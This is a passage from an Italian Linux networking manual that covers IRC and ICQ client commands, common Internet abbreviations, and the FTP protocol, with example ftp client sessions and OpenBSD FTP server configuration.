`/leave #prova` [*Invio*]

Segue il riepilogo di alcuni comandi essenziali per l'uso di un cliente IRC.

Comando	Descrizione
`/list` [***opzioni***]	Elenca i canali presenti nella rete IRC.
`/names` [***opzioni***] [***canale***]	Elenca gli utenti presenti nella rete IRC, oppure solo quelli presenti in un canale particolare.
`/nick` ***nome***	Consente di modificare, o di stabilire, il proprio nominativo nell'ambito della rete IRC.
`/who` ***canale***	Consente di elencare gli utenti che sono presenti nel canale indicato.
`/whois` ***nome*** [***,nome***]...	Consente di elencare le informazioni disponibili sugli utenti elencati. I nomi possono essere anche composti con caratteri jolly, ovvero con l'uso dell'asterisco per indicare una stringa qualunque.
`/join` ***canale***	Consente di entrare in un canale.
`/msg` ***nome messaggio***	Consente di inviare un messaggio esclusivamente all'utente indicato.

Comando	Descrizione
`/dcc chat` ***nome***	Invia all'utente indicato una richiesta per instaurare una connessione privilegiata tra i due. Se l'altro utente risponde con lo stesso comando, si ottiene questa connessione. Per comunicare in modo privato, i due usano il comando '**msg =*nome* ...**'.
`/msg =`***nome messaggio***	Invia un messaggio esclusivamente all'utente indicato, che precedentemente è stato collegato con un comando '**/dcc chat**'.
`/quit` [***messaggio***]	Chiude il funzionamento del programma cliente, ma prima si allontana dal canale, se necessario, inviando eventualmente il messaggio indicato.

43.3 ICQ: «I-seek-you»

ICQ è un sistema di messaggistica istantanea, originariamente di Mirabilis, che gestisce i serventi ICQ. Sono disponibili diversi programmi clienti per accedere al servizio, anche nell'ambito del software libero.

Attraverso ICQ un utente si registra presso un servente, specificando una parola d'ordine. Il servente assegna all'utente un numero, definito UIN, ovvero *Universal Internet number*, e da quel momento si stabilisce l'abbinamento tra UIN e parola d'ordine. Successivamente l'utente può abbinare a questo numero qualche informazione in più su di sé.

L'utente si collega al servente ICQ quando desidera annunciare la sua presenza nella rete. Il servente ICQ accetta l'utente dopo aver confrontato il numero UIN con la parola d'ordine stabilita originariamente.

Quando un utente ICQ cerca un contatto con un altro utente, può fare una ricerca in base al numero UIN e poche altre informazioni.

Per ottenere un numero UIN è possibile eseguire una registrazione presso ⟨*http://www.icq.com/register/*⟩, oppure ci si può affidare alle funzioni del proprio programma cliente; inoltre, una volta ottenuto il numero UIN, si può anche accedere a ⟨*http://www.icq.com/*⟩, dove sono disponibili altri servizi.

43.3.1 Licq

Licq[11] è un programma cliente per il servizio ICQ. Si utilizza attraverso l'eseguibile '**licq**' che di norma si avvia senza argomenti:

```
licq [opzioni]
```

La prima volta che si avvia viene proposta la registrazione presso un servente ICQ, in modo da ottenere un numero UIN; eventualmente si ottiene la stessa maschera dalla voce `Owner Manager` del menù `System Functions`:

Se si seleziona la richiesta di un nuovo UIN (con il pulsante grafico REGISTER), appare successivamente la richiesta di inserimento della parola d'ordine, la quale deve essere al massimo di **otto caratteri** e non può essere più corta di sei:

Se tutto procede come previsto, si ottiene il numero UIN e si può poi continuare compilando le informazioni personali che si intendono rendere pubbliche; eventualmente si ottiene la stessa maschera dalla voce `Info` del menù `System Functions`:

Per cercare una persona, si seleziona la voce `Add User`, dal menù `User Functions`. È possibile specificare direttamente il numero UIN, oppure si può fare una ricerca in base al soprannome, al nome, al cognome, o all'indirizzo di posta elettronica (sempre che questi dati siano stati annotati dalla persona cercata):

Se si ha fortuna, si ottiene un elenco di contatti (non tutti i numeri UIN corrispondono effettivamente a persone reali), dal quale è possibile selezionare chi aggiungere al proprio elenco. Successivamente è possibile tentare di comunicare con questi, oppure è possibile sapere quando sono collegati alla rete anche loro.

Per mostrare la propria presenza attiva nella rete, bisogna selezionare la voce `Online`, dal menù `Status`.

43.3.2 Pidgin

Pidgin,[12] noto originariamente con il nome Gaim, è un cliente generico per diversi sistemi di messaggistica istantanea, tra cui anche ICQ. Si avvia attraverso l'eseguibile '**`pidgin`**' e di norma non si utilizzano opzioni:

```
pidgin [opzioni]
```

Il programma potrebbe presentarsi con diverse finestre; in particolare quella dell'elenco delle utenze configurate, che inizialmente potrebbe essere vuota (in questo caso, invece, appaiono già due utenze: una per il sistema di MSN e l'altra per Jabber). Eventualmente, si ottiene tale elenco selezionando il pulsante [ACCOUNTS]:

Per aggiungere un'utenza di ICQ si procede selezionando il pulsante grafico [ADD]. Si ottiene la maschera che appare nella figura successiva, già compilata per il numero UIN 287 316 637:

Login Options

Protocol: AIM/ICQ

Screen Name: 287316637

Password: *********

Alias: daniele.giacomini

☐ Remember password

☐ Auto-login

User Options

☐ New mail notifications

Buddy icon: Open Remove

Show more options

Cancel Save

Dopo la conferma, l'elenco delle utenze contiene quella appena inserita:

Screen Name	Online	Auto-login	Protocol
daniele@swlibero.org	☐	☐	MSN
daniele.giacomini@jabber.org/Gaim	☐	☐	Jabber
287316637	☐	☐	AIM/ICQ

Add Modify Delete Close

Per accedere al servizio di ICQ, basta fare un clic sulla casella `Online`; se nel momento dell'inserimento dell'utenza non è stato richiesto di memorizzare la parola d'ordine, questa va indicata contestualmente, in una mascherina che appare appositamente.

Si osservi che con Pidgin non è possibile registrare una nuova utenza per il sistema di ICQ; quindi, questa va creata, eventualmente, con i programmi specifici per tale protocollo.

43.4 Abbreviazioni di Internet

Spesso, quando si usa la posta elettronica, o altri sistemi di comunicazione testuale, si vedono usare delle sigle, il cui significato a volte sfugge. Storicamente, l'uso di sigle speciali per fare riferimento a concetti ben definiti deriva dalla telegrafia, prima su filo, poi senza filo. Questo ha prodotto il famoso codice «Q» standardizzato attraverso convenzioni internazionali.

La comunicazione odierna non ha più bisogno di abbreviare i messaggi e le abbreviazioni servono solo a creare un gergo che esclude in qualche modo chi non lo conosce. Sotto questo aspetto, non è cortese l'uso di abbreviazioni. Tuttavia, c'è chi non può proprio farne a meno, per cui diventa necessario avere un promemoria per queste cose. La tabella successiva riporta l'elenco delle abbreviazioni più comuni, assieme al loro significato originale (in inglese):

Acronimo	Significato	Acronimo	Significato
AFAICT	As Far As I Can Tell	AFAIK	As Far As I Know
AFK	Away From Keyboard	ASAP	As Soon As Possible
B4	Before	BBL	Be Back Later
BRB	Be Right Back	BTW	By The Way
CUL	See You Later	EOF	End Of File
FAQ	Frequently Asked Question	FOC	Free Of Charge
GA	Go Ahead	HHOJ	Ha Ha, Only Joking
HHOS	Ha Ha, Only Serious	IMBO	In My Bloody Opinion
IME	In My Experience	IMHO	In My Humble Opinion
IMO	In My Opinion	IOW	In Other Words
IRL	In Real Life	ISTM	It Seems To Me
ITRW	In The Real World	JAM	Just A Minute
L8R	Later	MUD	Multi User Dungeon
MUG	Multi User Game	OAO	Over And Over
OBTW	Oh, By The Way	OIC	Oh, I See
OMG	Oh My God	OTOH	On The Other Hand
ROFL	Rolls On Floor Laughing	RSN	Real Soon Now
RTFAQ	Read The FAQ	RTFM	Read The Fucking Manual
RUOK	Are You OK	TIA	Thanks In Advance
TNX	Thanks	TTYL	Talk To You Later
TVM	Thanks Very Much	WTH	What The Hell
YHM	You Have Mail		

43.5 Riferimenti

- *Internet Relay Chat (IRC) help*

  ⟨*http://www.irchelp.org/* ⟩

- David Caraballo, Joseph Lo, *The IRC prelude*

  ⟨*http://www.irchelp.org/irchelp/new2irc.html* ⟩

- *ICQ*

  ⟨*http://www.icq.com* ⟩

- *Licq*

  ⟨*http://licq.sourceforge.net/* ⟩

- *Pidgin*
  ⟨http://pidgin.im ⟩
- *CenterICQ*
  ⟨http://thekonst.net/centericq ⟩
- *aMSN*
  ⟨http://sourceforge.net/projects/amsn/ ⟩
- *LMME*
  ⟨http://sourceforge.net/projects/lmme ⟩
- *Jabber*
  ⟨http://www.jabber.org ⟩
- *Cabber*
  ⟨http://cabber.sourceforge.net ⟩
- *Yahoo*
  ⟨http://www.yahoo.com ⟩

[1] **Sysvinit** GNU GPL

[2] **Write** UCB BSD

[3] **Wall** UCB BSD

[4] **Talk** UCB BSD

[5] **ytalk** software libero con licenza speciale

[6] **Rwall** UCB BSD

[7] In generale un canale può essere privato, segreto oppure pubblico.

[8] **Ircd** GNU GPL con residui UCB BSD

[9] **ircII** software libero con licenza speciale

[10] **Tkirc** GNU GPL

[11] **Licq** GNU GPL

[12] **Pidgin** GNU GPL

FTP

44.1 Caratteristiche elementari del protocollo 2447
44.2 Identificazione e privilegi 2449
44.3 Facilitare le ricerche 2450
44.4 Cliente FTP tradizionale 2450
44.4.1 Esempi 2452
44.4.2 Midnight Commander 2457
44.5 Servente OpenBSD FTP 2457
44.5.1 Configurazione 2459
44.6 Riferimenti 2460

`.netrc` 2450 `ftp` 2450 `ftpchroot` 2459 `ftpd` 2457 `ftpusers` 2449 2459 `ftpwelcome` 2459 `in.ftpd` 2457 `mc` 2457 `motd` 2459 `nologin` 2459

Quando il trasferimento di file riguarda un ambito che supera l'estensione di una piccola rete locale, non è conveniente consentire l'utilizzo della condivisione del file system (NFS) o della copia remota. A questo scopo si prestano meglio altri protocolli; storicamente, il più importante è stato il protocollo FTP (*File transfer protocol*). Oggi è però superato, oltre che essere un protocollo problematico per la configurazione dei filtri TCP/IP e dei router NAT. In altri termini: il protocollo FTP è importante e occorre conoscerne le caratteristiche; tuttavia è meglio evitare di predisporre servizi basati su FTP, se si possono utilizzare delle alternative migliori.

Il servizio FTP viene offerto da un demone che funge da servente e viene utilizzato da un programma cliente in grado di comunicare attraverso il protocollo FTP. Il funzionamento di un programma cliente tradizionale è paragonabile a quello di una shell specifica per la copia di file da e verso un sistema remoto.

44.1 Caratteristiche elementari del protocollo

In generale, il protocollo FTP si avvale di TCP al livello inferiore, utilizzando precisamente due connessioni TCP per ogni sessione del protocollo FTP. Ciò costituisce un problema molto importante quando si deve controllare in qualche modo il traffico relativo al protocollo FTP, pertanto occorre conoscere come si sviluppa questa connessione. Infatti si distinguono due modalità di utilizzo del protocollo FTP: attiva e passiva. In entrambi i casi, il servente FTP è inizialmente in ascolto della porta 21.

Quando il protocollo FTP viene utilizzato in modalità attiva, il programma cliente apre una porta locale, n, non privilegiata ($n > 1024$), iniziando una connessione TCP con la porta 21 dell'elaboratore che contiene il servente FTP. Nell'ambito di questa connessione vengono inviati dal programma cliente dei comandi al programma servente. Per consentire lo scambio di dati, deve essere aperta una seconda connessione TCP tra i due programmi; per questo il programma cliente apre una seconda porta locale, la quale dovrebbe corrispondere a $n+1$, informando di questo il programma servente attraverso la connessione già attiva. A questo

punto, **il programma servente inizia la seconda connessione TCP** utilizzando la propria porta 20, contattando presso l'elaboratore del programma cliente la porta ***n***+1 (o qualunque altra porta comunicata dal programma cliente).

Figura 44.1. Fasi di una sessione FTP attiva.

negoziazione iniziale:

attivazione della connessione «dati», a partire dal lato servente:

Quando il protocollo FTP viene utilizzato in modalità passiva, il programma cliente si comporta inizialmente come nel caso della modalità attiva, iniziando una connessione TCP con la porta 21 dell'elaboratore che contiene il servente FTP. Questa volta, però, chiede al programma servente di operare in modalità «passiva». Così facendo, è il programma servente che apre una porta non privilegiata e comunica al programma cliente il valore di questa, in modo che sia sempre il programma cliente a iniziare tale connessione TCP.

Figura 44.2. Fasi di una sessione FTP passiva.

negoziazione iniziale:

attivazione della connessione «dati», a partire dal lato cliente:

Quando in una rete si attuano delle tecniche di trasformazione degli indirizzi e delle porte, oppure si intende filtrare il traffico, il controllo del protocollo FTP diventa un problema, proprio

a causa dell'apertura di questa connessione secondaria: dal lato servente è più comodo usare la modalità attiva, mentre dal lato cliente è più conveniente la modalità passiva. Purtroppo, nessuna delle due situazioni è equilibrata ed è questo il limite del protocollo FTP.

Come si può intuire, è il programma cliente che chiede alla controparte di utilizzare una o l'altra modalità. Esistono programmi clienti che in modo predefinito utilizzano la modalità attiva, mentre altri che fanno il contrario; di solito i programmi più recenti sono impostati in modo da usare la modalità passiva se non si specifica diversamente con la configurazione.

44.2 Identificazione e privilegi

Il sistema di trasferimento di file attraverso FTP richiede una forma di autenticazione, in base alla quale il servente può dare privilegi differenti agli utenti.

Generalmente, perché un utente registrato venga accettato per una sessione FTP è necessario che presso il servente abbia una parola d'ordine (non sono quindi ammessi utenti senza parole d'ordine) e una shell valida, cioè compresa nell'elenco del file '`/etc/shells`'. Questo ultimo particolare non è trascurabile, infatti, a volte si sospende l'utilizzo di un'utenza modificando il campo della shell nel file '`/etc/passwd`' con qualcosa di non valido.

Oltre a queste limitazioni, si utilizza solitamente il file '`/etc/ftpusers`' per determinare quali utenti **non** possono essere accettati per una sessione di FTP normale. In questo elenco vanno messi in particolare gli utenti di sistema, come per esempio '**`root`**', '**`bin`**' e '**`mail`**'.

Se si vuole permettere l'accesso a utenti che non sono registrati nel proprio sistema (si parla di utenti che non sono previsti nel file '`/etc/passwd`'), è possibile abilitare l'utilizzo dell'FTP anonimo. Per questo è necessario che sia stato previsto un utente speciale nel file '`/etc/passwd`': '**`ftp`**'.[1]

```
...
ftp:*:101:101::/var/ftp:/bin/false
...
```

A questo utente non viene abbinata alcuna parola d'ordine valida e nemmeno una shell utilizzabile.

Per utilizzare un servizio FTP in modo anonimo si può accedere identificandosi come '**`ftp`**', oppure '**`anonymous`**'. Di norma, viene richiesta ugualmente una parola d'ordine che però non viene (e non può essere) controllata: per convenzione si inserisce l'indirizzo di posta elettronica.[2]

Generalmente, un servente FTP che consente l'accesso anonimo, fa sì che tali utenti non identificati possano accedere solo alla directory personale dell'utente fittizio '**`ftp`**', senza poter esplorare il resto del file system.

44.3 Facilitare le ricerche

Il modo più semplice di fornire un indice del contenuto del proprio servizio FTP anonimo è quello di posizionare nella sua directory di partenza un cosiddetto file '`ls-lR`'. Si tratta in pratica del risultato dell'esecuzione del comando '**`ls -lR`**', che ha quindi suggerito il nome del file indice in questione. Generalmente si comprime questo file con '**`gzip`**', per cui si usa il nome '`ls-lR.gz`'.

Il comando per generare questo file deve essere eseguito quando la directory corrente è quella di partenza del servizio; in pratica, agendo nel modo seguente:

`#` **`cd ~ftp`** [*Invio*]

`#` **`ls -lR | gzip -9 > ls-lR.gz`** [*Invio*]

44.4 Cliente FTP tradizionale

Il programma cliente tradizionale per accedere a un servizio FTP, è quello originario dei sistemi BSD, del quale esistono comunque diverse varianti.[3] In generale, si tratta semplicemente del programma '**`ftp`**':

`ftp` [*opzioni*] [*nodo*]

Quando l'eseguibile '**`ftp`**' viene avviato con l'indicazione del nome dell'elaboratore remoto, tenta immediatamente di effettuare il collegamento; diversamente si avvia e attende il comando con il quale questo elaboratore deve essere poi specificato. Se esiste il file '`~/.netrc`', questo viene utilizzato per automatizzare l'accesso nell'elaboratore remoto. Quando '**`ftp`**' è in attesa di un comando da parte dell'utente, presenta l'invito seguente: '**`ftp>`**'.

Tabella 44.4. Alcune opzioni della riga di comando.

Opzione	Significato mnemonico	Descrizione
`-v`	*verbose*	Vengono visualizzati tutti i messaggi.
`-n`	*no auto*	Disabilita l'accesso automatico.
`-i`	*interactive*	Disattiva la richiesta interattiva durante i trasferimenti multipli di file.
`-d`	*debugging*	Attiva la modalità diagnostica.
`-p`	*passive*	Utilizza la modalità di funzionamento passiva.
`-g`	*globbing*	Disabilita l'uso dei metacaratteri (caratteri jolly) per l'indicazione di gruppi di file.

Come già accennato, quando '**`ftp`**' è in attesa di un comando da parte dell'utente, presenta l'invito '**`ftp>`**'. La tabella che segue elenca alcuni dei comandi che possono essere utilizzati. Se i parametri dei comandi contengono il carattere spazio, questi devono essere delimitati da una coppia di apici doppi ('**`"`**').

Alcuni comandi di maggiore utilità.

Comando	Descrizione
get ***file_remoto*** [***file_locale***] recv ***file_remoto*** [***file_locale***]	'**get**' e '**recv**' sono sinonimi. Riceve il file remoto indicato, eventualmente rinominandolo come indicato.
mget ***file_remoti***	Esegue un '**get**' multiplo, cioè su tutti i file che si ottengono dall'espansione del nome indicato utilizzando i metacaratteri (caratteri jolly).
put ***file_locale*** [***file_remoto***] send ***file_locale*** [***file_remoto***]	'**put**' e '**send**' sono sinonimi. Copia il file specificato nel sistema remoto eventualmente rinominandolo come indicato.
mput ***file_locali***	Espande il nome indicato se contiene dei metacaratteri ed esegue un '**put**' per tutti questi file, trasmettendoli in sostanza nel sistema remoto.
reget ***file_remoto*** [***file_locale***]	Permette di riprendere il '**get**' di un file remoto quando l'operazione precedente è stata interrotta involontariamente. L'operazione non è sicura e si basa solo sul calcolo della dimensione del file locale per determinare la parte mancante ancora da trasferire.
[*Ctrl c*]	L'operazione di trasferimento può essere interrotta utilizzando la combinazione [*Ctrl c*].
passive	Richiede di utilizzare la modalità «passiva» per il protocollo FTP.
binary	Imposta il tipo di trasferimento in modalità binaria. Questa modalità è adatta al trasferimento di qualunque tipo i file.
type [***tipo_di_trasferimento***]	Attiva o visualizza il tipo di trasferimento dei dati. Il valore predefinito è '**ascii**'. I tipi a disposizione sono: '**ascii**', '**ebcdic**', '**image**' (trasferimento binario), '**local byte size**'.
prompt	Attiva o disattiva la modalità di conferma. Se è attiva, durante le operazioni di trasferimento di gruppi di file, viene richiesta la conferma per ogni file.
bye quit	'**bye**' e '**quit**' sono sinonimi. Termina il collegamento e termina l'attività di '**ftp**'.
close disconnect	Termina la connessione senza uscire dal programma.
open ***nodo*** [***porta***]	Apre una connessione con l'elaboratore remoto indicato ed eventualmente anche specificando la porta di comunicazione. Se la modalità di accesso automatico è attiva, '**ftp**' tenta anche di effettuare l'accesso nel sistema remoto.
cd [***directory_remota***]	Cambia la directory corrente nel sistema remoto.
chmod ***permessi*** ***file_remoto***	Cambia i permessi sul file remoto.
delete ***file_remoto***	Cancella il file indicato nel sistema remoto.

Comando	Descrizione
dir [*directory_remota*] ↩ ↪ [*file_locale*] ls [*directory_remota*] ↩ ↪ [*file_locale*] nlist [*directory_remota*] ↩ ↪ [*file_locale*]	'**dir**', '**ls**', '**nlist**' sono sinonimi. Elencano il contenuto della directory remota specificata, oppure di quella attuale se non viene indicata. L'elenco viene emesso attraverso lo standard output, quando non viene specificato il file locale all'interno del quale si vuole immettere questo elenco. L'aspetto dell'elenco dipende dal sistema con il quale si sta comunicando. Di solito è molto simile a quello di un '**ls -l**'.
mdelete [*file_remoti*]	Cancella i file remoti espandendo i metacaratteri prima di procedere.
mkdir *directory_remota*	Crea una directory nel sistema remoto.
pwd	Visualizza il nome della directory corrente del sistema remoto.
rename *origine* *destinazione*	Permette di cambiare il nome di un file nel sistema remoto.
rmdir *directory_remota*	Cancella una directory nel sistema remoto.
status	Visualizza lo stato attuale del sistema remoto.
help [*comando*] ? [*comando*]	'**help**' e '**?**' sono sinonimi. Visualizza una breve guida dei comandi.
remotehelp [*comando*]	Permette di richiedere la guida dei comandi al sistema remoto.

44.4.1 Esempi

L'uso di un cliente FTP può essere anche semplice, se si lasciano da parte raffinatezze non indispensabili. Seguono alcuni esempi di sessioni FTP.

44.4.1.1 Prelievo di file

daniele@roggen:~$ **ftp dinkel.brot.dg** [*Invio*]

Si richiede la connessione FTP all'elaboratore `dinkel.brot.dg`.

```
Connected to dinkel.brot.dg.
220 dinkel.brot.dg FTP server (Version wu-2.4.2-academ[BETA-12]) ready.
Name (roggen.brot.dg:daniele):
```

anonymous [*Invio*]

Si utilizza una connessione anonima e per correttezza si utilizza il proprio indirizzo di posta elettronica abbreviato al posto della parola d'ordine.

```
331 Guest login ok, send your complete e-mail address as password.
Password:
```

daniele@ [*Invio*]

```
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using ascii mode to transfer files.
```

Come si vede, la modalità di trasferimento predefinita è ASCII (almeno così succede di solito). Generalmente si deve utilizzare una modalità binaria. Questa viene selezionata tra un po'; per ora si richiede la guida interna dei comandi a disposizione:

ftp> **help** [*Invio*]

```
Commands may be abbreviated.  Commands are:

!               debug           mdir            sendport        site
$               dir             mget            put             size
account         disconnect      mkdir           pwd             status
append          exit            mls             quit            struct
ascii           form            mode            quote           system
bell            get             modtime         recv            sunique
binary          glob            mput            reget           tenex
bye             hash            newer           rstatus         tick
case            help            nmap            rhelp           trace
cd              idle            nlist           rename          type
cdup            image           ntrans          reset           user
chmod           lcd             open            restart         umask
close           ls              prompt          rmdir           verbose
cr              macdef          passive         runique         ?
delete          mdelete         proxy           send
```

ftp> **binary** [*Invio*]

Come accennato, viene richiesto di passare alla modalità di trasferimento binario.

```
200 Type set to I.
```

ftp> **prompt** [*Invio*]

Anche la modalità interattiva viene disattivata per evitare inutili richieste.

```
Interactive mode off.
```

La struttura delle directory di un normale servizio FTP anonimo prevede la presenza della directory '`pub/`' dalla quale discendono i dati accessibili all'utente sconosciuto.

Anche se dal punto di vista del cliente FTP, che accede al servizio remoto, si tratta della prima directory dopo la radice, in realtà questa radice è solo la directory iniziale del servizio FTP anonimo. Di conseguenza, è quasi impossibile che corrisponda realmente con la directory radice del file system remoto. Tutto questo serve solo a spiegare perché il comando '**`cd /pub`**' potrebbe non funzionare quando ci si collega a serventi configurati male. Ecco perché nell'esempio che segue non si utilizza la barra obliqua davanti a '**`pub`**'.

ftp> **cd pub** [*Invio*]

```
250 CWD command successful.
```

ftp> **pwd** [*Invio*]

```
257 "/pub" is current directory.
```

ftp> **ls** [*Invio*]

```
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 4
dr-xr-sr-x   3 root     ftp          1024 Nov 12 21:04 .
drwxr-xr-x   6 root     root         1024 Sep 11 20:31 ..
-rw-r--r--   1 root     ftp            37 Nov 12 21:04 esempio
drwxrwsrwx   2 root     ftp          1024 Nov  2 14:04 incoming
226 Transfer complete.
```

Attraverso il comando '**`ls`**' si vede che la directory '`pub/`' contiene solo il file '`esempio`' e la directory '`incoming/`'. Si decide di prelevare il file.

ftp> **get esempio** [*Invio*]

```
local: esempio remote: esempio
200 PORT command successful.
150 Opening BINARY mode data connection for esempio (37 bytes).
226 Transfer complete.
37 bytes received in 0.00155 secs (23 Kbytes/sec)
```

Il file scaricato viene messo nella directory in cui si trovava l'utente quando avviava il programma '**`ftp`**'.

ftp> **quit** [*Invio*]

```
221 Goodbye.
```

44.4.1.2 Invio di dati

daniele@roggen:~$ **ftp dinkel.brot.dg** [*Invio*]

Si richiede la connessione FTP all'elaboratore *dinkel.brot.dg* e si danno dei comandi per raggiungere la directory 'pub/incoming'.

```
Connected to dinkel.brot.dg.
220 dinkel.brot.dg FTP server (Version wu-2.4.2-academ[BETA-12](1) ↩
↪Wed Mar 5 12:37:21 EST 1997) ready.
Name (dinkel.brot.dg:daniele):
```

anonymous [*Invio*]

```
331 Guest login ok, send your complete e-mail address as password.
Password:
```

daniele@ [*Invio*]

```
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using ascii mode to transfer files.
```

ftp> **binary** [*Invio*]

```
200 Type set to I.
```

ftp> **prompt** [*Invio*]

```
Interactive mode off.
```

ftp> **cd pub/incoming** [*Invio*]

```
250 CWD command successful.
```

ftp> **pwd** [*Invio*]

Si verifica la posizione in cui ci si trova.

```
257 "/pub/incoming" is current directory.
```

ftp> **mput al-1*** [*Invio*]

Dal momento che la directory è giusta, si inizia la trasmissione di tutti i file che nella directory locale corrente iniziano per '**al-1**'.

```
local: al-1 remote: al-1
200 PORT command successful.
150 Opening BINARY mode data connection for al-1.
226 Transfer complete.
```

```
2611649 bytes sent in 1.38 secs (1.9e+03 Kbytes/sec)
local: al-15 remote: al-15
200 PORT command successful.
150 Opening BINARY mode data connection for al-15.
226 Transfer complete.
2612414 bytes sent in 2.51 secs (1e+03 Kbytes/sec)
local: al-16 remote: al-16
200 PORT command successful.
150 Opening BINARY mode data connection for al-16.
226 Transfer complete.
2612414 bytes sent in 2.16 secs (1.2e+03 Kbytes/sec)
local: al-17 remote: al-17
200 PORT command successful.
150 Opening BINARY mode data connection for al-17.
226 Transfer complete.
2612420 bytes sent in 2.17 secs (1.2e+03 Kbytes/sec)
local: al-18 remote: al-18
200 PORT command successful.
150 Opening BINARY mode data connection for al-18.
226 Transfer complete.
2612409 bytes sent in 2.4 secs (1.1e+03 Kbytes/sec)
local: al-19 remote: al-19
200 PORT command successful.
150 Opening BINARY mode data connection for al-19.
226 Transfer complete.
2612431 bytes sent in 2.35 secs (1.1e+03 Kbytes/sec)
```

`ftp>` **`ls`** [*Invio*]

Si controlla il risultato nell'elaboratore remoto. A volte, i servizi FTP impediscono la lettura del contenuto di questa directory.

```
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 15379
drwxrwsrwx   2 root     ftp          1024 Dec 11 20:40 .
dr-xr-sr-x   3 root     ftp          1024 Nov 12 21:04 ..
-rw-rw-r--   1 ftp      ftp       2611649 Dec 11 20:40 al-1
-rw-rw-r--   1 ftp      ftp       2612414 Dec 11 20:40 al-15
-rw-rw-r--   1 ftp      ftp       2612414 Dec 11 20:40 al-16
-rw-rw-r--   1 ftp      ftp       2612420 Dec 11 20:40 al-17
-rw-rw-r--   1 ftp      ftp       2612409 Dec 11 20:40 al-18
-rw-rw-r--   1 ftp      ftp       2612431 Dec 11 20:40 al-19
226 Transfer complete.
```

`ftp>` **`quit`** [*Invio*]

```
221 Goodbye.
```

44.4.2 Midnight Commander

Midnight Commander (a cui corrisponde l'eseguibile '**mc**') è un programma che offre le funzionalità di un gestore di file abbastanza completo, includendo la capacità di utilizzare il protocollo FTP. Con Midnight Commander è sufficiente utilizzare il comando '**cd**' in modo appropriato per accedere a un servizio FTP remoto:

$ **cd ftp://tizio@dinkel.brot.dg** [*Invio*]

In questo caso si accede al servizio FTP dell'elaboratore *dinkel.brot.dg* con il nominativo utente '**tizio**'. Trattandosi di un accesso che non è anonimo, prima di iniziare, Midnight Commander chiede l'inserimento della parola d'ordine.

La configurazione predefinita di Midnight Commander prevede l'uso della modalità passiva, ma se lo si vuole si può ripristinare l'uso della modalità attiva intervenendo attraverso la voce Virtual FS del menù Options.

Figura 44.27. La maschera di modifica della configurazione relativa alle funzionalità FTP di Midnight Commander. Si può osservare che in questo caso è previsto il funzionamento in modalità passiva.

```
.----------- Virtual File System Setting ------------.
|                                                    |
|  Timeout for freeing VFSs:         [60      ] sec  |
|                                                    |
|  ftp anonymous password:                           |
|  [tizio@                                      ]    |
|  ftpfs directory cache timeout:    [1800    ] sec  |
|  [ ] Always use ftp proxy                          |
|  [gate                                        ]    |
|  [x] Use ~/.netrc                                  |
|  [x] Use passive mode                              |
|                                                    |
|          [< OK >]           [ Cancel ]             |
'----------------------------------------------------'
```

Midnight Commander è descritto nella sezione 24.15.

44.5 Servente OpenBSD FTP

Il servente OpenBSD FTP[4] è un programma molto semplice da installare e configurare, anche in un sistema GNU. Come altri serventi FTP mette a disposizione l'eseguibile '**in.ftpd**' (o '**ftpd**', a seconda della distribuzione). Questo demone può funzionare in modo autonomo, oppure sotto il controllo del supervisore dei servizi di rete. Nel primo caso si avvia con l'opzione '**-D**', mentre nel secondo si usa l'opzione '**-q**'.

In generale, l'opzione '**-q**' sta per *quiet*, nel senso di non inviare informazioni al programma cliente sulla versione del servente. L'opzione '**-q**' dovrebbe andare bene anche quando si avvia il programma in modo indipendente dal supervisore dei servizi di rete; in ogni caso, dalle prove eseguite, quando è sotto il controllo del supervisore dei servizi di rete sembrerebbe che senza l'opzione '**-q**' il programma non possa funzionare.

```
in.ftpd -D [opzioni]
```

```
in.ftpd -q [opzioni]
```

Nell'esempio seguente viene mostrata la riga di '`/etc/inetd.conf`' in cui si dichiara il suo possibile utilizzo per quanto riguarda il caso particolare di Inetd:

```
ftp     stream  tcp     nowait  root    /usr/sbin/tcpd  in.ftpd -q
```

Tabella 44.29. Alcune opzioni della riga di comando.

Opzione	Significato mnemonico	Descrizione
`-d`	*debugging*	Vengono aggiunte informazioni diagnostiche all'interno del registro di sistema.
`-l`	*log*	Ogni sessione FTP viene annotata all'interno del registro di sistema; se viene usata due volte, le indicazioni sono più dettagliate.
`-t` ***n***	*timeout*	Permette di specificare la durata espressa in secondi (***n***) del tempo di inattività oltre il quale la sessione FTP viene conclusa automaticamente. Questo parametro è negoziabile anche da parte del cliente. Il valore predefinito è di 15 minuti (900 s).
`-T` ***n***	*max timeout*	Permette di specificare la durata espressa in secondi (***n***) del tempo massimo di inattività. In questo modo, un cliente non può negoziare una durata superiore.
`-A`	*anonymous*	Consente solo l'accesso anonimo, oppure solo le utenze elencate nel file '`/etc/ftpchroot`'.
`-u` ***maschera***	*umask*	Definisce un valore particolare della maschera dei permessi; altrimenti, il valore predefinito è pari a 0027_8.
`-p`	*no passive*	Disabilita la modalità «passiva», in modo da non accettare la creazione di connessioni verso porte indicate dai clienti. Ciò serve a facilitare l'attraversamento di un firewall (purché il firewall consenta questo passaggio), ma può creare difficoltà ad alcuni programmi clienti.
`-q`	*quiet*	Non mostra informazioni sulla versione al cliente che si collega.
`-M`	*multihome*	Consente di gestire directory differenti per l'accesso anonimo, in base al nome di dominio presso cui giunge la richiesta, secondo la forma '`~ftp/`***nome_di_dominio/***'.

44.5.1 Configurazione

La configurazione di OpenBSD FTP è molto semplice. Per prima cosa, l'accesso anonimo è consentito solo se nel sistema è previsto l'utente fittizio '**ftp**', assieme alla sua directory personale e a una shell valida.[5] Convenzionalmente, una shell è valida quando è indicata nel file '/etc/shells'.

> Teoricamente, OpenBSD FTP non richiede nemmeno la predisposizione di una struttura particolare della directory '~ftp/', secondo la tradizione, perché gestisce internamente il comando '**ls**' e di tutto il resto si può fare a meno.

Nel caso si utilizzi l'opzione '**-M**', si deve provvedere a dividere la directory '~ftp/' in sottodirectory corrispondenti ai nomi di dominio con cui si può accedere al servizio. Per esempio, se l'elaboratore che ospita il servente OpenBSD FTP è raggiungibile con i nomi *dinkel.brot.dg* e *weizen.mehl.dg*, ci possono essere le directory '~ftp/dinkel.brot.dg/' e '~ftp/weizen.mehl.dg/'; chi accede a *ftp://dinkel.brot.dg* in modo anonimo, vede la prima directory, mentre chi accede a *ftp://weizen.mehl.dg* vede la seconda.

> Si rammenta che l'utente anonimo accede solo alla porzione di file system che inizia da '~ftp/', come se questa fosse la radice.

